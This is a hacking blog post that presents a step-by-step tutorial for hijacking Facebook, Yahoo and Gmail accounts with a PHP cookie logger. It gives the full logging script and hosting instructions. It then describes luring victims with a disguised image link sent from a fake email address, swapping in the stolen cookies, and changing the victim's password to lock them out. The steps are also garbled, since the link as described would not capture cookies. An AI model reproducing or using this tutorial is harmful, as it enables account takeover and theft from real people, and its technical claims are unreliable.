HACK ANY FACEBOOK, YAHOO OR Gmail ACCOUNT (SESSION HIJACKING) USING COOKIELOGGER


Using a cookie logger, You can hijack the session of anyone account and thus hack his Facebook, Gmail, accounts.
About Cookie-logger
CookieLogger is a Script that can be Used to Steal anybody’s Cookies and stores it into a .Log File from where you can read the Cookies of the Victim.
Let us see how to make your own keylogger…Hope you will enjoy Reading it …



Step 1: Save the notepad file from the link below and Rename it as Fun.gif:
Download it from here



Step 2: Copy the Following Script into a Notepad File and Save the file as cookielogger.php:


$filename = “logfile.txt”;
if (isset($_GET["cookie"]))
{
if (!$handle = fopen($filename, ‘a’))
{
echo “Temporary Server Error,Sorry for the inconvenience.”;
exit;
}
else
{
if (fwrite($handle, “\r\n” . $_GET["cookie"]) === FALSE)
{
echo “Temporary Server Error,Sorry for the inconvenience.”;
exit;
}
}
echo “Temporary Server Error,Sorry for the inconvenience.”;
fclose($handle);
exit;
}
echo “Temporary Server Error,Sorry for the inconvenience.”;
exit;
?>
Step 3: Create a new Notepad File , Save it as logfile.txt

Step 4: Upload this file to your server

cookielogger.php -> http://www.yoursite.com/cookielogger.php
logfile.txt -> http://www.yoursite.com/logfile.txt (chmod 777)
fun.gif -> http://www.yoursite.com/fun.gif

If you didnt own a website whih has php support, then try the following site or search for any other.

http://0fees.net

Step 5: Go to the victim forum or profile and insert this code as a signature, scrap or a post :If you are going to hack an email account, send this code to him. (not from your email id. Create a fake email id and send it)

[url=http://www.yoursite.com/fun.gif][img]http://yoursite.com/fun.jpg[/img][/url]

Step 6: When the victim see the post he will see the image u uploaded but when he click the image he will get a Temporary Error and his cookie will be stored into log.txt . Here is an example of cookie

phpbb2mysql_data=a%3A2%3A%7Bs%3A11%3A%22autologinid%22%3Bs%3A0%3A%22%22%3Bs%3A6%3A%22userid%22%3Bi%3A-1%3B%7D; phpbb2mysql_sid=3ed7bdcb4e9e41737ed6eb41c43a4ec9


Step 7: To get the access to the Victim’s Account you need to replace your cookies with the Victim’s Cookie. You can use a Cookie Editor for this. The string before “=” is the name of the cookie and the string after “=” is its value. So Change the values of the cookies in the cookie Editor.download Firefox addon for cookie editing from here


Step 8: Goto the Website whose Account you have just hacked and You will find that you are logged in as the Victim and now you can change the victim’s account information.

Note: Make Sure that from Step 6 to 8 the Victim should be Online because you are actually Hijacking the Victim’s Session So if the Victim clicks on Logout you will also Logout automatically but once you have changed the password then you can again login with the new password and the victim would not be able to login.


Disclaimer: I don’t take Responsibility for what you do with this script, served for Educational purpose only..

Kindly Bookmark this Post using your favorite Bookmarking service:
Technorati Digg This Stumble Stumble Facebook Twitter

0 comments:

Click Here To add Comment

PAGE RANK

Page Rank
 

| USEFUL TRICKS- InVaDeR © 2012. All Rights Reserved | Template Style by Abhidinvader